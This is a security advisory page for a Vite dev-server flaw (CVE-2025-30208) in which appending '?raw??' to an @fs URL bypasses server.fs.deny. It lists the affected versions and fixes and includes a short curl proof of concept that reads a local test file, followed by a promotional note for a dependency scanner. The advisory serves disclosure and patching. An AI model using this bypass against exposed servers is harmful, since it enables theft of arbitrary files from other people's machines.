MediumGHSA-x574-m823-4x7wCVE-2025-30208

Vite bypasses server.fs.deny when using ?raw??

Published 25 Mar 2025 · Updated 10 Sept 2026

Affected packages

vitenpm
Affected
>=6.2.0 <6.2.3
Fixed in
6.2.3
Update to the fixed version for your release line, for example:npm install vite@6.2.3
vitenpm
Affected
>=6.1.0 <6.1.2
Fixed in
6.1.2
Update to the fixed version for your release line, for example:npm install vite@6.1.2
vitenpm
Affected
>=6.0.0 <6.0.12
Fixed in
6.0.12
Update to the fixed version for your release line, for example:npm install vite@6.0.12
vitenpm
Affected
>=5.0.0 <5.4.15
Fixed in
5.4.15
Update to the fixed version for your release line, for example:npm install vite@5.4.15
vitenpm
Affected
<4.5.10
Fixed in
4.5.10
Update to the fixed version for your release line, for example:npm install vite@4.5.10

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or `server.host` config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Is GHSA-x574-m823-4x7w in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vite, and gives you the command that fixes it.

Scan a project free, no signupOr connect GitHub to scan every repo

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.